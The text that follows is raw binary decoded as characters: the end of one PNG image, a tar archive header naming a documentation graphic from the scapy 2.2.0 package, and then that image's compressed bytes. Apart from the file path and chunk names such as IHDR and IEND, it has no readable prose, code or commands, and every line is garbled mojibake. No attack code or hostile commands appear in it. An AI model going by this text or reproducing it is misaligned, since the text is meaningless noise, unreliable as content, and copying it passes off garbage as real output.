!j먫ä{ëªÞ‘ÅOnà¹/~ñ‹¢Ú‹þüúë¯Ç·–ÆqãÆ9]ïröˆÀø¶ú‰Ä¤z=G ¹Ðxƒ 6m£4ä{³×£ˆéu‡ª×^Ð7áæA~à 7D]¸o/¨«|lY½UˆÁP½¡ôºGë­·ž&|ðA«`8&‰ãY8—üð¶×}j¿½*ˆs#Õa›âæeî¹ç6ƒîq ó(0ÓР‚lØìX\‚Dß”5Æ1óµ§³µ L*§·¢—!5ÛôÐÀcL8{ 'W·IÌ1ÇáqþùçÐa&T&ÎEçnüu^L_pÁ}èM§›¤ÀþêW¿Ê dÅcñ&T]xâV9<ï²Ë.‘¢²Ôuä‘Gæ å11©>Ì”Ø,‘ŒbBÈGz–>ô¦£MŠ|BZuÕUÖÚ&o*Ößqne£Tl¥ú9á~ÍHW!áîÅ M¯~ÿ‹=LLªˆ“®ç¼õÖ[Ù%.U×îrwÞy§peïz×»ž~ú鱚›r–aOWRn«Úl~àVk­µV›;Aý¬3l‹UK/[äìZµN–ïObRåqÕIÈm¶Ù&·Ö]}õÕl çuqûv¤Aíºë®ÅÆ{À›Š¶É­èï?ò‘\vÙeÅš+žsàæ¨ëÌ3ϬxŸët/1©:Èé⫝̸g0ׄ2ú—.v¨ªyNl¼ñÆá«à¾\ÀB}}áMÅ¡´Ì­Ž:ê(fÄ}öÙ‡BºXmesZȺpM`­lov,1©†(ê@4êù¼wÚi§n5Óåz¹€3Åu›<¥Áš¼ië­·îàž®µa5Ë­ø²…á+®¸"‘ÖíK©Å_úüóÏçæ~Ôüô=Ĩ©/½ôR"’“<—Tk>ú0ˆxN-½ôÒö¢hÕ㢋.Zôn­ß³W,÷gœqƱÇ[3¡¨;|ðî»ï®?t@wÜqGÏ:V²¡jRY[H™’Cø7XŽiõòqûí·o¢£ tx1pÍ5×ô’ðÊ´å€ôvÛmç¬RC¬‹Ž‚—]wÝu !@À€ e¦ ÂŒWö ƒ.}Ïz õ«©Ý¾`@Èš§žzª/M×lÔ‡Á¯‚ètÕUWIׄÉeRÀÙyŠSÉ1#Da§Ë‹%ýgR¬®i,ÙÝ6dàª^&eëÊ¥ÈÎŽë¦-*¾sˆþÆDx¬™y÷Ýw›ûVÑf†lŽ:8÷ $“ê RU í`€ŸAËëeŒÖNRÙšøg¼š)3a a a HLªÈOM' $ 4Æ@bRq” úˆÄ¤úˆüÔtÂ@Â@c ôߺ׸£ ÁåËuibé30*†mÜ‚Û8 øÈ#ðtuÞ¼óÎïJèàPùÓ>öØcŽ«<*õ™/xàEQ`ü 'Ã;ØVUiIÊ톃ٿ3Í4 1O_^ÿDD¶ªyæ™G‹"Žg3{™v•#cöŒ3θÔRK9Ù`°½iýœsÎÙpà ?üðÞ47j­ðùä êàšk®¹ÿþûïµ×^묳ŽP¿\ƒC³k¾nºé&qœÝE„©[d’ÝvÛ­ |‚)ò ~q×]wvÞyg±·\Zá¤Ñµ×^Ë[ëöQ¾¶Ys¾…ᎄIsÌ1Äp÷/vÍ—Àd7~ªÂ"Çk¯šm±/ð•fR#DâÜ7ãÈØÉ'ŸlQ2µ÷ÝwŸhd}Á]—ýæ7¿‰|o¹åg»ÔÄXÕú~ Ôß±R~Ë ãP®Vä/j õà&bZk[ÃyÍù" èì¶T‚ØÛóÎ;Q9Nv‹™"‚¹|lª©¦Š9ÕL “*"ÎÁN1Õ¸®rÈ!ø×÷¿ÿý"Lr¶Øb K¥pæá†‚’]²<"âÅ[¬$|ÁH¬Qhí`µ©*p•©¿‡zhäP-¶Ø1ÝT¢æ|Ýÿýš÷ÎÆÚØ‘¡c¦CÝÕ<×{•ÖIåúš{ ÷•ß|ó͹üê¾à‚ æJ‘cöÜsOo54nÜ8ô*l˜é>€¿.€ÔœÄ™WÒtañmØc”ñ*´ WØ\#HS¥²·{†„®d zhìXp¬\‚*- Þu±àUΗ–Žé6ÚH‹Œ'{X2áó6:×PSfã `ü.á…ŽuMVbéÅtÌ#úŒøDÙþäæ«H?&+L“ WÚõ~d걄Ë<âˆ#bÝžî•VZI‹ÍÆ“êл¦˜”UÅäñ!2Ú5ÖX#âWÂúCsˆ`|'á ù 2ÉÞT‰Òâ¯l|Ì2)\)ˆ?_¬;CFBv‡J¹iŽLg¹‹\L~ Jþ\±æ2‰°/ e¿õ­oé6‰ý8䓹Bè"¶¡˜”U1ÈYÉÈvÁ(nUÀ@/ÇaGtÍl+9¢÷*äøT¾ð…/„Ä~öÞ{ïX–Ó ‰Õ·î%çbæ#ÔbûUF‡IÁ•9]{íµ¡%þˆØ¯H!¨ 7á„i4k¸¼RÖ€ì5ŸÅù\“~“Ê-c1©îM÷Ð2©8£Ù„oŒ@”ûÆâ7Ö®àkKfŽ9bõš~þ¾9àìcdRˆ#|E6/Ù¶\i«3Ûn»m¶_^™Ü^bf§˜”m!‘ðB~Œ•KàŒ¤!ºØJ<0)}À»³¼¤ÍšüÈàäã%'ËÓe‰>ä€Ä„IMîíŒ1®ËÉ"$hjùæD˜š‰‘bRö¿¸ƒÝz¼˜â,~¦Œu8›.ƒ¤8fçË«ö™T÷¦»5&5:)–e¸ó›fši8aS‹D8äÿ˜¹ ´È°NÜzë­ô#öJQð.–Š9æÛ*çËÿÜç>çâHR\i °-xÊ…"˜õ–ßrË-+éHBsÖO¨Ü]og…<í´Ó¬·a©ÔöMõ@˜Ê6ÍÖ"œµ7sö Ÿ~* Y3³‡Ï&¼5L‰?üáX=Ò¡Îi£JÒ ù,%`€ÄíGçÔ|<›.5—\rI?Y6Úá3‹öìÛ¦«6ÝÀ¤ì¡‚\Z~ˆ ´Âôèl¥lFBYÔ Qæ³fsdÌ.h¾C%„ i‚@ÈÉþ D6§ý´=¼Jj2V‡*¼"ÄE&…}íÜaA»á$ò †â {˜s†Ã"Ÿ±Ií%ëõŒTÂ’³ÓN;AùÂÚF.누†hM4l·ÇÓ=LªüØ ¹F‰Ü\×´³Ë·-òÏ[f_Ó8”/–Ña:Ñ#ÇÚži¯X*GgE€r¯RYQ.V2@ȬÉ,ÔÂKû$ìÔ8_|ñ\@åïpF¬ªN¢á}øµk,±EPÖ«HV®Sÿ(¿b¢^x衇XrW®6D{—ðÖ°ÝO÷ð0)ÓL¯Œ ÑptÐA>?RƒC>È8—Ÿüä'¥Ÿy晘S'A-­,û òÉùöˆÁàƒ‘‹¢*ÇëÔÖÎ+àU¯eÏV„1³&/ÓgâáP™aReÿ‹ wªÿê!o’.:¤!²Éá{/(ÝK‰"8‚£^Öäâ«jæôxº‡‡I9²Ä×ÖÇLm§ÖÖ,¦%˜ÃY.8ÙØçô;Y0iû;~w¾mŠÎGœÈlya§ÃlO›À ˆWA®`ñÑ¡hõóËç0ᦳˆ.W¡,«>H€:²‡âà ØàÉ›VB&Ë6{•mÎ>ÚM¹µX$ì=íÐ5§•,̈§© ŠÛp8A¢Œ­¹MV•ÑÕãéþõj•ñÒ°oAÐÈî_(¤XR²¹œ°@‘¶HF–ýø a+ÌjÁñ²xU¯ï™å˜¿UŒaBGæ­ÝSp׌õ0À®r|«A&Á! B6•pzÞ¦€Ip¨ BÜ<ñeŽy é›™Ò–vÚ‘1›¾ƒÊXÔï/í¾è×_=ݹÉfn·AÃzÂéó8ý>ß¹³&42Ñhès%IÕ‘Gø=€§aá·5пð? ¢Æ¡¨ÏƒtÃßZüb[€q7^ZDD¹þúëß²†ÂÙ0¹P[ݸ)ë?x”M*4Ø2v€—_~Y”_l‹~Šl¸É&›­(ªb~ †T|Óè¢É"TB=¯ K]U ÕM÷(:3tî¹çf³ã"Cqy ö²l~•Ó½žnX¿~ÁTÇã¼…ŽYH4¶~$ÒúÅm—Ð ×8K\}Èúom YTÅ5ÁÂÛ¬'dM°ò™=¬žëÉR!” NáiFŒ‘ñs¸/˜²G‹JÖ™Óžk(z:«‚úýìC©¨‚¯&7TöÐl‘˜5gN˜qšÂ÷ØcŠBN°åç1"­¿‰v¦»5gÎJ‹éïd M묖ej‘âˆì5¼²)¾*Ÿܸˆ–5‹DËFÍ·£Æ¤j"a°2Û™îÖ˜Ôð(Ϋ,÷·oÌ: ðC±ÂEÈÌZŠ0 s¨ºø=8aSŒ™ÃV@vcdg5V•ªÞO÷ð褪?»ýê¡(4lŽ4bœ*Yd.éö¶~t[ÜXXÚéusž\ù X-ꦉÓGjP§£;kLl§·©l›èÃt÷QÔì†NªÃ©rÓôåXUŒ+È”mAðeZ³Žôœ§h K?±<ÝëÔŸ¶{uSåW­MwkÛ½$IÅj˜Ž"3-1DÚßQNqA 2µ®5ScMLÑ|ù9ºÈÜN1OY®þšî‹5‹§ÌÁÂ@/§;1©Á¢¶zËw‰Û„_[µÔ-Œ7ùÕI/‡½™î¤8ŠI#IJ $&5”Óš•00<HLjxæ2$a`(1˜ÔPNkTÂÀð` ÿŠsÇÊB”ÈáAjIi ô né¾tPˆDÌuð膎:oÇzÕ&帱:—ò œWý«ÏÕïm?™”€„îh«>ŽR»$ºÝD·ë'#sI$7 Oœ«g^­¹¬ô˜000P $Åyuæ"õ$a a “ª””•00P ü?ßó{5ŸaæyIEND®B`‚scapy-2.2.0/doc/scapy/graphics/default-values-ip.png0000644000175000017500000003201711170743163020467 0ustar pbipbi‰PNG  IHDR;X5bî pHYs  šœ!tEXtSoftwareGraphicConverter (Intel)w‡ú3”IDATxœì{\GÀ#õÑjY"Å*ÄW´w (ÖG T+‹‚Z±zHÁbAµèµr>NE) y&«mm=¥µÖÖjk¬VA ™Þy~î>Ÿ»ÞÍÌn’ݰ!a¾$³3³³CòÍÎìæ7Aô?Á8DæîÁb!¸C0;Üþž@hÛ ¸ó×Zš@è˜Ïþ¢ëNó9s÷‰`!œkâ»ó˜¨C0”syî\5wÄ\w~1woÅ8î4ª3³×°v¢â”6£Úu ›ŠôPèÔëïx½EjwP÷Êç:2¤¹^ϽÛw~þO÷ºCÓIoI©§>v"i'çêø¹Ü9A·^GÔØ¿¥·Œë]åe@s„kµ×nÕ©~ífwjFñ†Ã8ÃÝɧ"ðsŠÝ ÝzQIè=~’ÍŠóŸßzø7}î¤F£Wó¨4>¾`œØÿ”š¾;Â7æô¯øÍxnæJK—O |“fÝ‘'xy.ÐΙߔr¦~sèÅT‘¶j„—³TZI¿ýÂÏhðŠIƒÑg:Q"õu’J“5ML‚Ç7¿i4§KÈRØéJi6­mø½ —a/d³;nCHÓiº`¶ç¸8Ø­SémQê9ÏR§}Y{§OV||õN˯:îDÅ vÐe^a úÌØ9ðÓ¼)w†ýX*ž˜<ß.Øåj!e4Lœ¿l4•ºê¾<Õ'XÓ~”÷hw6P;´U—OrJL¬¢G-ßµÞm&:š -t¢±e‰“35Ml@G‚ïu&¯Kqèèp^t†ZEk.s|9oWl»ã–PÓàÕTÞs/foôò®¤“‡Ä ÿ[Èuçý@ñq¾ÂÖ˶ƒE5—o5þ[Çð(üT¶D¨†ùgeðQì?ù¿£Ö£«ž­ÈøÑ/=¢»“Eí†õÜó…¦q'‡JåT£Äî„{n¬>šÆuÔ{œªŒ;ˆjOîÐ1Ô!ºÆU3ÁaºÄsGÝp±ƒOJ¡vGìÎ~j'J¿<ö8][¦v')5uÓ!Ρ2ò «.Ýlø›þ¹òjæÕ¦‹ÖÏ qAÚˆÑ'=Î>E³OÆ÷¨lìŽßˆ)ˆ7…¦q'Ê®œS•qGþÎâY>è$Ö¾;¨X:™ËíÏMÙÃ(*H3§Æî¤3{®¡Ê’)ÎȤvçä¿€½˜Œ¼ãÈ¿ëu§pØL/8«¡×9ÏüýoüF¡·6ÍcòµîdPû°;³¦·w4µ;…ƒçÒœªØâ‰£–l^ݱ;´¯{Íô šß%ž;Ú†WŠCÔØ]h<ƒ—úNŠdŠsS‰¸c[òŽW_¾Ùð}îœñЧ_œRC—;½·üÝAÓ†çJìÎzçb´›žÓ>ëNÙø&i«bw–¸UÐôì:±ÍÒ¸“èÂo$™Úä¸>s»„Ý9‰z´Šæ÷á5ÍÞØ2gÔxÕÈ©4q§³lÉ;QsåVwÖ§§§oHM-–O"§+Æ…Ó ·©Ç«ÒÝ ->µ€ZÎ\gÉ}|öÕäG¦¨›J‹äMJž:µ?Yâ±nh«bwÖÚeVLFîøOTTmvÔ¸³‘ÊÞ½ŽÓHù1º‘ÄíºF‡£æ±P䎺᜗v•ž˜ä¯Þ»C¯³K,:28Ÿ¸Ói ;òϾkãËÎù#ÐC—ÒIv”S„ ;Ë])‡8{^ö¢½}ðQuS‘÷hRÔ¨£3ùÖTÅ¡ì¼ wÖQC‡FÉ4î¹PÜV")æþ §K°^¥§ý°1›ñ5:Ûð¾Iöå¥ù~q‡Ns£(Ÿ4q§Ódæ)juݤô ð—Np¾£8VÁɨ<ÜÑíe᪊Cêkæâ|ÞògŽêù~žß¥ªC%º W9&°[A©@&á‰îІ¹£f®Lè}l!óîdùŸê¸Á áºsÏÜ!X\wn^$ ‡ë΃ë‚ápÝyü€@0®;‚ápÝù×Ï‚ápï þÛÜ!X\wþaî“ Á¢Èå¸ó‹¹;C°(vwFbzw.6 f_h5I넞ƒ©ÝQ­ª,˜;A8Ÿ`±íNÉH‰äµ¶Ù+<¯ðh‚2ª•$~Iu° )rÜ}õ™Ð3rçôâ¯u`ažJgLJ yB@›æ>x =]'Œ•+~¶>#¯9àíÝ óZƒ–tÅ@0BîÜ_8*§™—'ÆÍ¹Òfß̶îLJá—•> ¾ï{¥Ï÷ÿºM}‚#¯SVÚ?;{¥}“—fúþ̇wí½à[^ÔJ½ò÷eý¸0Ì5bÃ'8Yæ¢SVú”L–p„Í[±¬Kþ‚™vç“é¾…üDãfÉÒÛ:û²~´¨jwÇ8$¡¤²Ïwü2f¾Ã2i¯É»O0#Bî4¦x¬¹ÏK€³/ži³/ëǼUðáV¿QzÌ6~ׯm>ï‚?€`6„Ü) =«“ao5è쨺£L T6: ¿þzš=þ*"ßß=®Ce?¨@kþ 5{ÌYÔ•¡Û1ú¾rA"€ðHwÑSãkp®jÞdx¢z䀊úœïŠDý~`wHrÇÔ'˜|ŸÕ¤RÝmVo4ÏW'Xk•ÛÆ5O詘þ{ôâ‚Ù…÷LÒ:¡ç@âwÆBÜ! q‡`,Ä‚±wÆBÜ! q‡`,Än¢þ3î–U¬!ît—‡¦3‰G8úÒ*VtÆŒ—MÛ—G¾‰dôæ›±ï¼ÂiŒ×-2Þš/ÉÓöË\sx‹Iü4r ˵ŠU#q'-ÒĹà”&¯ØÐÿJßÏF¸¾^ŠŸ®EËåò Ñyn ÍÆù¥&îWç {•M¬™éƒÃä¬aÕHϳ\ÇY‹yy~[™çÙIðAåÿðžÜ51=ÎÓ¶ì·yŸÚÝ`ܱ†U#î´¾*‹þ´i‘,ÎîJ¢'¯„#ó'ѲäÖÜȹøfE°ïâÙu$Éd«™òòÇÜz)F±unê·†ü^Ò‡ü ìNÀÛœ“É¢i˜V-•9xËdñ­¬;u÷×ý6œ hU»s>>,3œî|œ‹9ÆË\óóÜ2a;`ݱ‚U#Bç<Éâï@îSYJ°Ùvégˆïƒ[9ñOOØâ³Ô yåXa¸~ú嬰ÁÕ•®áG×*wº÷›¸}Ú d‡Dü ׌?W¯€99’ (g_ŽûÜœœ?ìNëð€S¦tŸ¸ûÍÁYxOÖ‚§Wäüdsº“}uâêYJ?&æ¹;ñ7®÷» 8e.RØ»Ñ%”fÜ‘÷‡ƒyæt'3 ÓÌÍ d®ü¦/Q*•¿)»‹7,Õˆð\Ù·¼Ùá&Y¶qˆ?Áœ’þìݬ–ºÒubȺãˆVR4=§ þY&päÇé6î$ACÙzL™í ¨wñ8"šq§h: IÍéNQ&ƒ·~I<~rÃaº"&æßòW»³åÕ“ðé¬]_•Ç[¦äò³h¥Müë(ͺŠ®‹ŠûÕáÎM۫ؽÃðë®vÇ sæÊš²ÐTñ0gÌú¶Ïû4Úö¸1+ßIû£Dì˜e«F„ÝùÆ)&=Ǹï½÷©Û* úáð³J%Ίf^m¨™Àå åxÝÓog}µW÷&¤5´|(ªm1ôà¥}âyÛuC÷(oìp…b´(•Ao(qäóüéõÕ6§ÀÃé‰ìÝ4MÙ¥þ‹>ª[;ð{ΚEc/ÝÅ ‡½šÖ±êßxhcñ­`Õˆžû;ÓíñB¾æ´çD¶ËÁI¼(}Ø/ºE؈ìV4&[|þEŠÕÇ1½|a#yï‚y[ =øEñ6î&³¼Âe™6ãÆ£ÓÒ—Óú ‡G–ˆD˜(zmÙ…)ýl¼ª¸k6õ+r0Xßnâœ]>“@÷Ö±jD;­š‹%Ý[ç ñG K}Wu£ûûšÛ”µ´SÛŒœ±ÍãnZŪ‘žu_ÙŠù®œ»e«Fˆ;c!¸C0âÁXˆ;c!¸ÓMðcÝÛÃbâà‰;݃&Ö½c,&^;8ŒýË1£N±ÛaÉØZ¡ýM‰ÕǺO•, X2ºýWÒbâàõ¸ƒÃØ[ÎŽÍb·kåò§?èòÎX{¬ûWÛ/Á÷#Ú¯l)qðíYþYÚô ®wÇêcÝ%q)Œê0øÂBâàÝÑ„±û§kƒ×»À^ë.©ðP1îFLÛÔ ÀNYò‡ QÌÏ³ë –/èŽ&ŒÝ¿¯6x½ Üéu±î’«!ÕØ··ôj•Klì6 DÿçE½®aqðzÆ,6$¼Þîô¶XwèÎ8äÎ×> Ñ#€RÑ ¨V:o]¥ÄÁwà'x½»æ;VëÝi7BwöA[oD šÐÄLÐ8ë ,%¾w²ºß+Žu‡î€…‡¡;;¼ÐÖúö‡ï‘;œu–o^wz[¬;t§|:tçl_x!¥š°–ãg]¥ÄÁ º£cׯ?T*æ+ïšøà½-Ö½~ÄÇ@5ÜŠ6ñó»+” ñÈ ;ªºðØ:íº`1qðBî¨ÃØ9Áë¿a™øÖro‹u÷Ù\Ùƒày¼>n Màgðƒ!õyÿ9ê°z]åÄÁ[Â÷YVëû©ûÏ]€z]ÅÄÁ[‚;V?Ö½=,&ž¸C0âÁXˆ;c!¸C0âÁXˆ;Ýù]w‚‘hbÝ™ïH-&ž½=ÔîüÿÿìýW×Ƈ\ƒV^[ÁHÌ«`ôXEEcB*¾l¨¶bFS-•´I zÝZ49`©œªmBL¬6mjPc__h0]Ã1.à¢ìÞÿ¡sï¼ÝÝÙu˜Ý»sŸfgvVï=»sïî|žï ï¬ÍÎi;œ“½ÔC¬½à·Ê?7çpø{ <ð­1ïçïÌžúð4ƒ"¡®{ÃøQk A Ï®$ÿÞáùr½u½<ÙéL+ï=Õvû{Óyõí”ssÌn·¯@¯ò­1ïç; ¥¢âëºïóQçì¸G Ï®$ÿÞÉèÒ]ÚªÇÒØ:Þ¬ŸÀnN3ÝøIY§Î0ðÂÔð›ÿ ©€¦âY÷qG¸cA°5!<»’üxãË$x—çϱNãÆe¬;Øœ9m#|DÞ9jqµVë)XcþÖ)qç¼%Õ˜ÇðwÞ;÷¶ÿâ~ÞQbÝ›Sál§¢ Á³+ÉßuGâË$lI¯kÙkY¥qã2Öô¥Ä}ë3¿8󷉻Ø?yYª1/uJDÜ¡wlˆ —jÌcø;ç‚Iuåfý¼£Äº¿Q·»g 2xv%)ŽY’½Æ.·îÔ¸që@Ñãè‹H½)%%nq»×ľßGŸÂ:%!îg³Ù´˜{’qüóÎÖ¬~6…xÌâY÷ÊR¸=˜ŽÈàÙ•¤è É>›™¶¤ötð»Ó1bl|„c–»1­—µnÒ °zÖ) q?Ã\îÚÀ'Ÿxïàø;ç¹ðkX§~ÞQbÝ7Âí®©è€ ž]IŠÞ‘ìAÏŽ¥‰UAï΢Ê?gÁwÍwÀD8DýªæÞè›X§$ÄŽYBAVÞ;8þÎyg ür|N?ï(±î’!ÏXfEdðìJòïž/—ìe£íŽ‘WÇš|Y÷SÑ×2ØYçw&|{;3Z~‚wJBÜ¥¹²TcÃß9ï¼0‰Ýlñ˜Å³î΄Vz--pŸž]Iþ½Ãóå"’ ŠÌ‡z¯Õ<æRøŸTÈ—uï]°œ½Ø¥Üƒ;Ç;í?³ .sæ¤:¯N ˆ»û8ÓÅ byáü+ÃßtžóÅæƒ!¡®ûæÔËwJ Ð%‰ž]Iþ½Ãóå"’ J–f0ÃòÚ5n܇uŒéÈeLv@t=fWí¢Ñäðꔀ¸7±¯yÁjÌ ø»çÛs£Æn‹g¼[Ò[B]÷êXs!ú©‡ž]IîI£dx<=÷dÿXœ'ì‰C”q—$?ܪó'u¿‹ÖZ ‡gWRXÝÏò£»Nð ñ“J(Z×]w­˜½û‡ϲ¨4R¸{§5iJÐkÕQ©S¸{xüªÐ(ì½C¶¢Þ¡R+ê*µ¢Þ¡R+êD׺#ô›•QÖð*±¯«Nü8zTÅÂC`CöC€Qäå$ °&€w‰}Õ[ûõ©YÌе=^ée\&‚¼œ„1ÖØïÔÌa7Ž˜=| Ç@úÐÂ=—“0š’wø:õxéz 囓húü‹„O¶Å‹íñQßYK;.­+z|lmµZ˜“0š¢w„:õXéz-å›“è›ø„í4š*·‰í Qf[Fabåkfç%[…Ùf³]"0'aŒ58ïHuêÅÒõšJ–“pýa3"\b{RTä›ÚY+|Ì",'aŒ58ïHuêÅÒõA—cWÜ^¬=)ªòy›`Þ!,'aŒ58ïHuêÅòãAÕñèÕÙX{RTäoâ_ö¡…{$.'aŒ58ïHuêƒäŸœD%ÊðÁü’T*_ŒjHyô¶‘œÈËI`M©Ä¾P§+]¯¥|s•Lõmϱ¬íx{BT£ß‘WãàjýÍï}n /'a€5¤ûBz¬t½–òÍI¬/šjJˆþõ ÞžÕȇ]Šã.4[ÒÌ Ï˜“0Úšzþ<Þçß_’ÑÉþªç+ Ìá“E× zXÑ5¨¨DQïP©õ•ZQïP©õ•ZQïP©õŽN¢k]a݉áÙ•À;:®+'á¬;«+™èŠC Ï®¤Þ‘Ðq=9ñHgÝÙžLg¸Û·¤ðìJzð˜¥#'ñ¬ûó<Þ;¤ðìJòë2'n8Ö½çÛÁ;„ðìJòë6'n8ֽ܈Þ!ƒgWR€1‹Ãð‚͉ŽuǽCÏ®$Eïè͉CE4ëŽ{‡ ž]IŠÞÑ›xÖ÷<»’½tNÜh¬;æBxv%ùõހޛ7ëÜ·>fº{Ð.!<»’üyGBǃ̉uõ¨Sì쟞]IúmPWNÜ8¬;1<»’Âí^hÄŠ® @E%Šz‡J­¨w¨ÔŠz‡J­¨w¨ÔŠz‡J­¨wteÝ©TJdݹ{¤‘̺ŸúyJÁmÝ ¼Ïåàõ'»½Qõ"‘uo?j ¼Á¬{Âëÿ|ª[÷ïf>o·Û3Þ¨zȺïóQç츹¬ûᆑ¾Þ‹«Ø§àÜ{wÈcÝÆàŽå_p?BY÷zë\Æjå*ýòÞé.›Y¸þ&Üsm^¸¦iÁ¬ÏÁuó¦–©¡/ëÎy‡ÿÑ7,Ì_vÀ«aOãòüù/ÖȺ7§ÂÙNE:ˆLÖýSÛ+Q6Ûh_(ðø¢$¸.|Q®móû²÷Éeÿh.an ¥q_ÖzÇÕÅís½{äêÃÕ‰¯a ƒ-éu-{-«dÝß(‚ÛÝ3ÐA¤²îö(a÷Nïyv”¸€/™óÀþWÍìÇÑ3ãÎP—±îÅ&³™9Çíó—s}°\¾Gj¬„Ó÷­; dÝ+Káö`::ˆTÖ]æpf㬜˜ìLÈô ¹ðKÃË#g¬ý«ÆhLqE×µ˜+Ü>ïþ†¥S’Ùé—ÔðÙÌ´%µ§¬û¦B¸…L-ˆ\Ö]æÛˆ5ïvÌa½s/cáÉj3Dmm¯NOÕa*®@˜Ãp½#7ï­g½ƒ5칸·4±Š@Öý@2$_ˬè RYw™wF7±›§Yï &§Î<Éœ‡³ŸŠ Cj݇u÷3W¶M`_ò9ë±a° ֯MëîLhe‡K ÜPÖ}ÀÑå¸åÆ ¼O.¾:Ð:êp;á@ß7ÿÍ,ºÒßž³u(û²î} *ù_ÌDTýýaÍ®®ÌE—Ø0(2ê½Vó˜‹@Ö}sêå;%è’¡¬{9âÄñïQQ¹ëÇÆ\¸žnN0Åt€séKL̨uCú½Ö—uÏf3÷¥_BÕkã£bW.n%K3˜ayí$²î :Ö\ˆþŒÀº‹êëCsªî÷wû¿.ອG==nï†<žž{_Þ¬ûÝÿ¡C²î£¯¢‡ Ÿ·[aÔ°F¢¬;xyÚþ¯nµ®ÎQøÃŽBÖ0U =ªwÜ»r££Æ­ÓÿkKȦ $üŽ;TÓhËø©Íö€e(Äsx(‚÷λ±ëlO0¡ôÍIÌ©P‡_ž“ÐB²œDZBJòˆcÜ~a-ßaÌÂ2Ü9<Áy§?iû¿&„ݘeÈœ„X‡_ž“†à˜åÈç?™w° wEpÞ±‡ á, ¥whNBôï?9‰`Íwe¡}™wª¤ wEpÞ9/B‹Céš“½Ãpòœ„&òÍI ï4d¢÷]ðNÁ›ìètÀ;CÁÃCœwþõ;›·„ݘeÀœ„T‡_ž“ÐB¾9 縷]Jc1èpÌÜè@ÜûнŸ˜>À2â91!å9Vç~ÙSÁ¬RZ52`NBªÃ/ÏIh!ŸœÄýDØÞ~É6¸u! ^–¾š“U‹g(¤sB(BÊs¸ÖÆE/Z×/ÑœÀã úI|$E *¼:„¢9 òã !ÍIи•(brTa'’rTá%Ê~Q©õ•Z Þù?ÿÿìû{UÇ'¡m i@ËMJk…Bí+‚®·JÝÊV%( ‹­Uº²ºrQt)T( TP‘‹¸‚°[Y°}Š RE "R,PRŠ4mIKšóì¿°çÌåœ3É$M“édÒ™ï“éÌdòNòí\?ïûêÞÑÕUéÞQHbÖëfÂqÈ(Ý;ʳî@x„w‡½‰yܲ92É  ½Lþ°%bÝýŠnà ½‹âTô.°î7ŸIêõ0û´íöS-z=Ü7jŸ§K{‡çËÉH05úÃͺûÆÂ‹nà ½‹ãTôγî—Rþüý/æMhtIöØïÙi•qõ‘‹+,I{G@/ÈH05úÃW Ö+øVªÞyÖÌÊ…ƒu§áàT¿zÞ;ÞÛ=’ðæË)Ðt‹wü²î_ØlK@™ÍVL‡P>çÁ¿£ûÙ¸¼)Þñ<g¤ ÷@¬ûYæ ŸÛçÎÜï|–¤h€òIj¿ƒùršƒnñŽ_ÖÝþŠy83cÊA*„·,Ïïx$éÕ CïdŽ3bÐ{ Ö}×°¢äXk[?¡{§‘Q<‹REô˜€uO;w@•Tö˜½ðeôâV@Hæ qª zçY÷åÌÄ}µ«bOƒº¾göŽÇ KÂ’òRßùǺ¯ÍõÜTï'¬š˜+nÀy‡ÌâŒôˆu_Û ]ZM¶¬çǨCìÔߘFÅ£”EêóǺ;înYW@‡PbA`{Þ¿Ä­8ïyBœ‘ƒÞ±îûØìš·Gƒd†+ÿÌ"˕Ɋ)¤½#ðåd¤{¼€uŸ½müa:–c ºV·WQ+Î;dž§Ê wžu¯‹A‡©…¹ÜDá˜ÅçMDŸ¤½Ãóåd—Ø—UþYw¾øÝ=¢XžJÙvóTòK€´ @¼0Ä©.è]`ÝŒ;{kƒ‰M3qÃc[4¼:¾6‚‘…#iïð|9!%öå”ÖžAÞ÷‚8–ö¢ÁŒåo.ªÞ…y$N•Aï<ëî´âïe§ à‡ÁW{êÊHŽü=“¸í3¢´ÒñãB ÀÞgžº wu¿U':öþîqª_*}zT§x:_,Š$fݱ.IOŽ ©Ó;µÌžÑªyŽ©ËÔéÏ̾Ë#ƒ®Î¤Nï%u©YjõŽ.õK÷Ž®P¥{GW¨Ò½£ôºîºB”†êºGDÁ±î{8Ö}Ä'¢x°fžx¦Ü'mœ9ÒªëHÞ칌 ŠuoZß§ êË­‰âAÑâ™" Þ±›Q` ¡ºîäÞ˨ X÷Š4\²=àš‚âí xG3uݯ=ýÔ‘•3 ÏÓuÝAãËÍ;)ª³ÊŸº:¼2<¡±îÈ;Î;”Ú–_8»Œ ¸ìµ=ÛÑQ°tWî—ÛrÊhÈg±Íö27F•ç½Ó^’3ÿSy½£íºî-¥)ÆI¥ NPuÝCs÷¾f>@ãïo&nøØ:9,Æ!4Ö½"¾¦fê›~ÎØoáêøs(àpê5è­LÚ«±CŠÚöm\ddWN—ç¼Ófµ9ß$¯w´^×Ýšÿ?æN¤®{þ£ð­Iæ!—L'p Û·‡ÆºWcVÀIÌ~ø³ ëk wì¹Å¾ÓkH²‹€ø£œwè2ðœwÖ¤¶°Jc–†êº[á5(78I]÷T„.Ý6žø·Üy?.}Ü{…a)(Ö³¡=QE¯6>{'ÖÌWÀÈ " ž÷]žóÎTtV#¯w´^×õNó+©ëžO!@[/t–Çÿ–›F£ákÓe&(Ö;WüˆØ;}¡-Z8ï ž÷]žóÎX´ugäõŽÖëº[§ÁÁ–!€\äÌ@×>b`+°ç1ð:Á“ðJ¹S…ĺsÞ9’A{gßùxGïº <ç¼QpP¬À1K;uÝÕøQkYßíT]÷ïbK›¿Nbm=Ÿ9þ|㢻ÃúÞCcÝ?5; vôwí17xœ¹…‡ÖÜÙ®Úlæ'÷¯W{|ƒ{ø)ă&Ç~££ÁM•Ç@¼=n­óÈø¾p6"i§®;°>9œIÚF×u•# ‰Åì)°çÍyñÆIÒ‰‚UH¬ûV.·‰3—a ÿÌ ž½úcÌÓ&fý &³¹ç ¦÷‡ˆo³°Ko¤ <÷«2 ƒ×%0¢(ºEÚ©ëO|“Sšñ˜p4p·vgd]cÝ[î³Nß2ðÍR‹uƒ4S×ÝZÉz:ëÞSëº{êÆ,‹ðS^uIxÇ~—Å2)²Qé¬{4HM ­žuÀê™R«wt©_ºwt…*Ý;ºB•î]¡J÷ŽBòÓ@BQ“C¡^ï¸{ÔÅé Щ¢&‡"wjïù97V𦍴0mDÅþi¨~×¢þÆ1kFS!ÒT.)bô5àÛ& |DZÚ‹ÂkÀåILI{€iiéK`EME ï¸eð'%ø¼³t) Ó94¿€yc?¯ß;ˆ 